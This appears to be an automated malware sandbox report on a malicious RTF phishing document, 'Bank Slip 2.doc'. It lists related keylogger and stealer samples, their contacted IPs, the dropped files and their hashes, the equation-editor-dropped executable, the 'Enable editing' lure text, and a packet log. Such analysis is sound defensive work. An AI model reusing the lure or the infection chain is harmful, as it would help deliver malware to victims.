	SecuriteInfo.com.Win32.BootkitX-gen.7605.8583.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	188.114.97.3
	PO 4500005168 NIKOLA.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDefjjvAc1VCRhzhBKQTVpjzhejQ8Rhu1zO1vWGAUfUeULJrKwFSbIOyWIUfIv-2Flo3yTYESP-2B78w2V31KWz3gTVG4x9fJGaMxyv5FQX0-2FC02SNh0q62WGV8moxgoMPN13ug-3D-3D0M2T_RK3E7lcHJh6RzNRog0V2Ww4F1i1LQS7pYYmvozE9BtFWFH8CBc2C7lCJRjsdH3VwNbJDjo91Q5gKMT9cCcdXw8AkweIV-2FNLnytbk6yO5x98zOjWQvldOWLzS2kOJk-2Bc9a9xwBmgqVDiuxw1Lx4HAzZ-2Bjhc2IjRsVwgsa2WyKs6mVKScqAKEYCpz9uhwD3RMPm3P4ijESTEtLH2hoAVbwO9XnUT-2BT6XJFuujR9hf41ZQ-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	BIE (1).eml	Get hash	malicious	Phisher	Browse	104.17.25.14
	EFT 06282024, 013441 PM.html	Get hash	malicious	Unknown	Browse	104.17.24.14
ORACLE-BMC-31898US	MT_80362_72605XLS.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	zkB0qfWSJk.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	f3c462280fd1964d68c76ff6889bd3c766fa7140c07962dda32c0cb488188695_payload.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	new order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
ORACLE-BMC-31898US	MT_80362_72605XLS.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	JgRVqrgNs4.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	H3fwQALXDX.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	zkB0qfWSJk.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	f3c462280fd1964d68c76ff6889bd3c766fa7140c07962dda32c0cb488188695_payload.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	new order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	MT Marine Tiger.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Scan_Hsbc_Payment_advice.xls	Get hash	malicious	Lokibot	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	188.114.96.3
	20240506_12082.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	188.114.96.3
	zahtjev za ponudu.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.ShellCode.69.26008.28945.rtf	Get hash	malicious	Remcos	Browse	188.114.96.3
	Plata.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.ShellCode.69.25469.24539.rtf	Get hash	malicious	Unknown	Browse	188.114.96.3
	gFTk7fAh55.rtf	Get hash	malicious	Unknown	Browse	188.114.96.3
7dcce5b76c8b17472d024758970a406b	Scan_Hsbc_Payment_advice.xls	Get hash	malicious	Lokibot	Browse	104.21.53.203
	RFQ_4155965-EU2406.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.53.203
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	104.21.53.203
	20240506_12082.xls	Get hash	malicious	Unknown	Browse	104.21.53.203
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	104.21.53.203
	zahtjev za ponudu.xls	Get hash	malicious	Unknown	Browse	104.21.53.203
	Renameme@1.xls	Get hash	malicious	Unknown	Browse	104.21.53.203
	Quotation.xls	Get hash	malicious	Remcos	Browse	104.21.53.203
	Renameme@1.xls	Get hash	malicious	Unknown	Browse	104.21.53.203
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.53.203

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	554504
Entropy (8bit):	7.930758266319395
Encrypted:	false
SSDEEP:	12288:+RfMJlRPMhU1n75ZyoFXm5PpVHSyE7ZhvCgC3UGGqRyUs3PKspeuD3kR:pbRj5ZrXm57ktqRyp3PKSM
MD5:	DBDACF479A9DD40133701E06E6DC401C
SHA1:	5E78767CF2498D34FC27674FF326F2A7CE5AB2A3
SHA-256:	A597F53ED7D5E4CC1AF67800969953F431C7C99467D75A42E3DB360D7302283C
SHA-512:	F46D0FCE9AD0E9C4A9142E53D02AA903DC082872068DEA6597C8D22E6154F25976A309815A8EFD721B5451CEB3646976D69E664DB261BECD18F250B8FDAA89A6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f..............0...... .......4... ...@....@.. ....................................@..................................4..O....@...............@...6...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......8..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B37302F7-876E-4976-9F51-EE39DA847933}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{29430A93-7164-4349-8A64-66C896FAA64C}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	200192
Entropy (8bit):	3.4930021702808727
Encrypted:	false
SSDEEP:	6144:LyemryemryemryemryemryemryemryemryemryemryemVKK:K
MD5:	579E4057D3780D9D70F542FA611E7DC6
SHA1:	8BF86DD3DB525335BBD308999427520ACC530552
SHA-256:	4EE9F7F074D9276AB50B886AC35B39F58A8AEA03486CA5C2F5D5CB9909FCC654
SHA-512:	C419FF0DD5454D934F331FB5799B66DE1923093F25F6D8FB2223FD306012C8FBAB2298167100A96F1688593CD495303B24B49EDBCE420E95F21F6C4F39327A9D
Malicious:	false
Reputation:	low
Preview:	3.5.0.0.1.1.1.8.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{357DB24A-0983-48BF-8598-FD9D4AAB4B4E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3568273340340578
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbp:IiiiiiiiiifdLloZQc8++lsJe1Mze
MD5:	FA901E7FCD2D72CCAD762E6F4E67345A
SHA1:	87DA4FC64F137B5C84C440C3EA31D52646BFA830
SHA-256:	26CDB44AD37C36DFA9F40D19FFE63F8D0034E0887481DECCD09449AC5CDFB1F5
SHA-512:	0BE49987BF98770B3E98A297C20557B3F1D5CF0C618BB37A8070E79085884A2E9B48C3D99323509FB259989238C938BCE6B1591A8ACE068007DE25031B137313
Malicious:	false
Reputation:	low
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{57BE0F5E-0BF5-4CE6-96F3-B3AC962F851D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\21umizuh.yjs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\oygt2vjk.eyq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Bank Slip 2.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:07 2023, mtime=Fri Aug 11 15:42:07 2023, atime=Mon Jul 1 17:06:03 2024, length=424988, window=hide
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	4.557659213137868
Encrypted:	false
SSDEEP:	12:8NBnC80gXg/XAlCPCHaXQ5B5B/BGFX+WIoNFjuicvbIuiarDtZ3YilMMEpxRljKc:8NBnvk/XTg5LbkeyNeEuiWDv3qOk7N
MD5:	B835129373E7F5EED717412B30BB172E
SHA1:	25DBF2E5E4DF7AC2E31F87FF9AC41ED7776378E5
SHA-256:	D8CBEF2A456739AC1E0FB2DD3441023F0049EF92AD8FEE861ACC623AF51F465B
SHA-512:	E58614E701B01800CF32C8EB085DFCD66B630E511291F868D571C3B8ACABD366F7A08541BFAAFC85A2DA8270DA58734691B19AA5987A98063D20485EB0A1DB07
Malicious:	false
Preview:	L..................F.... .....d.r.....d.r...D..U.....\|...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X....user.8......QK.X.X.....&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....h.2..\|...X. .BANKSL~1.DOC..L.......WD..WD..........................B.a.n.k. .S.l.i.p. .2...d.o.c.......y...............-...8...[............?J......C:\Users\..#...................\\413794\Users.user\Desktop\Bank Slip 2.doc.&.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.a.n.k. .S.l.i.p. .2...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......413794..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.651017645233257
Encrypted:	false
SSDEEP:	3:M1tFucXLUYCm4VFucXLUYCv:MwZ0Z1
MD5:	5CCBE259BC7302620DEE438CE2CDE35B
SHA1:	158323D4D5E544D1A4D755855E4278978FEF345F
SHA-256:	0EA5DFD0DC5E9DA1F2139AD6B340C6703E0B02282617453CEC09A683F41CB05C
SHA-512:	6F9FEBB5583CEA52833B8902884E33252093952044981D33C468D8FD201F21A4B82B9B66264A4C46D02995FE7F077D3CA8AC4E38CD9A4C06B378D5F014C0BFB3
Malicious:	false
Preview:	[doc]..Bank Slip 2.LNK=0..[folders]..Bank Slip 2.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\obie8920193.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	554504
Entropy (8bit):	7.930758266319395
Encrypted:	false
SSDEEP:	12288:+RfMJlRPMhU1n75ZyoFXm5PpVHSyE7ZhvCgC3UGGqRyUs3PKspeuD3kR:pbRj5ZrXm57ktqRyp3PKSM
MD5:	DBDACF479A9DD40133701E06E6DC401C
SHA1:	5E78767CF2498D34FC27674FF326F2A7CE5AB2A3
SHA-256:	A597F53ED7D5E4CC1AF67800969953F431C7C99467D75A42E3DB360D7302283C
SHA-512:	F46D0FCE9AD0E9C4A9142E53D02AA903DC082872068DEA6597C8D22E6154F25976A309815A8EFD721B5451CEB3646976D69E664DB261BECD18F250B8FDAA89A6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f..............0...... .......4... ...@....@.. ....................................@..................................4..O....@...............@...6...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......8..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$nk Slip 2.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	3.4400007721781107
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Bank Slip 2.doc
File size:	424'988 bytes
MD5:	ff06a87dd0550386be1f780d560f1877
SHA1:	69e95738ec635520a508f7424a759261e5032cb0
SHA256:	511c82313461b74fe24201d13dead6a280311d248062e09a465eb950502d1c18
SHA512:	60e39f9628edbcb5118d53a2887c8f4879260d1d480a6a25960d58366fef2ca248b7115b521ff7de57c61063c1c35da0ac318fc22ad472b38b0cf34ecfd2534c
SSDEEP:	6144:PGuqGuqGuqGuqGuqGuqGuqGuqGuqGuqGuVhG+qMh9c:xe
TLSH:	F094AD6DD34B02598F620377AB571E5142BDBA7EF38552B1305C533933EAC38A2252BE
File Content Preview:	{\rtf1..{\*\RS49Nonp2wIuEGruVyV2Djh9umOqq84rr6LkQ6ZgzbrhVSD3NN5nPjvlCWJeifzQ7YTznibzmwc5GTKEPbULUKcEBSug8oNvqoN9dBIY6yWLdsZEEfcxc3BKVc5FG}..{\635001118please click Enable editing from the yellow bar above.The independent auditors. opinion says the financi

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	00018E8Fh								no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 20:06:07.563211918 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:07.563245058 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:07.563322067 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:07.574750900 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:07.574781895 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.064400911 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.064493895 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.070502996 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.070525885 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.070756912 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.070813894 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.143913984 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.184499979 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288528919 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288634062 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288652897 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.288671017 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288685083 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.288707018 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.288712978 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288753033 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.288768053 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288805008 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.288819075 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.288857937 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.289149046 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.289184093 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.289290905 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.289364100 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.289613008 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.289652109 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.289664984 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.289699078 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.289812088 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.289846897 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.293333054 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.293381929 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.293391943 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.293427944 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.293433905 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.293466091 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.295106888 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.386990070 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387167931 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387172937 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387203932 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387300014 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387336969 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387336969 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387346983 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387367010 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387383938 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387619019 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387658119 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387664080 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387692928 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387698889 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.387729883 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.387748957 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.388125896 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.388171911 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.388299942 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.388334990 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.388340950 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.388370991 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.388595104 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.388642073 CEST	49163	443	192.168.2.22	104.21.53.203
Jul 1, 2024 20:06:08.388648987 CEST	443	49163	104.21.53.203	192.168.2.22
Jul 1, 2024 20:06:08.388685942 CEST	49163	443	192.168.2.22	104.21.53.203
